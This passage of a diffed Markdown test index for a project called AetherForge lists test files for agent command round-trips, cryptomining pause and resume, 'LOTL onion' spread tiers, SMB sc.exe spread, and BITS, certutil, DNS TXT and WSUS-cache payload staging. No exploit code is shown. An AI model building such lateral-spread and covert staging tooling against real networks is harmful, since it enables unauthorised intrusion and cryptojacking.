|------|-------------------|------|-------|
| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| Crucible exec E2E | Online stub agent; **whoami**, terminal **echo**, and **LOTL tier badge** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
| Crucible LOTL E2E | Stub **LOTL tier badge** on Crucible + **Onion timeline** tier chain | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
@@ -281,9 +385,11 @@ Run Crucible P0 E2E only (needs a live server on `AETHERFORGE_URL`, default `:89
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
```
`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` so stub agents authenticate without scraping `/api/v1/config`.
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
Run remote-actions only (no stub agent; mocks offline fleet via WS):
@@ -302,7 +408,9 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
| P0 Crucible exec + LOTL badge E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
| P0 Crucible LOTL badge + Onion timeline E2E | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
| Calibrate AI Control toggle E2E | `server/web/e2e/pages.spec.ts` (Logic gates / AI Control smoke) | 8 |
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
@@ -348,6 +456,19 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
| Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 |
| War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 |
| Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 |
### Fleet intelligence (2026-06-07 parallel agents)
| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Phenotype publish + sibling inherit | `server/internal/api/phenotype_test.go`, `server/internal/db/phenotype_test.go`, `agent/client/phenotype_policy_test.go` | 1 / 2 |
| Failure atlas subtree skip | `server/internal/atlas/failure_atlas_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
| Singular Machine Court | `server/internal/ai/court_prompt_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
| Clearance L0L4 enforcement | `server/internal/clearance/clearance_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
| Access Depth phenotype + clearance badge | `AccessDepthPanel.test.tsx`, `clearance.test.ts` | 4 |
| LOTL Timeline atlas skip + cloned-from | `lotlTimeline.test.ts`, `LotlTierTimeline.test.tsx` | 4 |
| Court decision UI | `LotlTimelinePage.test.tsx` | 4 |
| AI snapshot phenotype/atlas/clearance | `agent/client/ai_snapshot_test.go` | 2 |
| Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
| `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
| Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
@@ -369,6 +490,12 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
| `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 |
| `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 |
| `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 |
| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff — hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 |
| `TestDNS*` / dns_txt staging | DNS TXT shard assembly + SHA256 verify | `agent/deploy/dns_txt_staging_test.go` | 2 |
| `TestWebRTCMesh*` | WebRTC mesh manifest receive (mock channel) | `agent/deploy/webrtc_mesh_test.go` | 2 |
| `TestWSUSCachePeer*` | WSUS cache cousin staging beside SoftwareDistribution | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
| Deploy plan spread lanes | do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans | `server/internal/api/deploy_plan_test.go`, `agent/deploy/discover_join_test.go`, `server/internal/api/service_deploy_test.go` | 1 / 2 |
| Join lane labels (do_peer, dns_txt, webrtc, wsus) | Crucible/Emberwake badge copy | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
| `TestMiningStatusRelayCoalescedToStatsBatch` | `mining_hashrate`, `lotl_tier`, `lotl_attempts` in stats_batch | `server/internal/api/websocket_test.go` | 1 |
| `TestStatsBatchCoalescesSameAgent` | Same-agent coalesce preserves LOTL fields | `server/internal/api/websocket_test.go` | 1 |
| `TestAgentLotlFieldsJSONRoundTrip` | Agent model JSON exposes tier telemetry | `server/internal/models/agent_test.go` | 1 |
@@ -377,7 +504,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
| `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 |
| `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
| LOTL onion tier docs | Ten-tier spread chain constants | `server/web/src/help/lotlOnionTiers.test.ts` | 4 |
| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
Run LOTL Go tests quickly: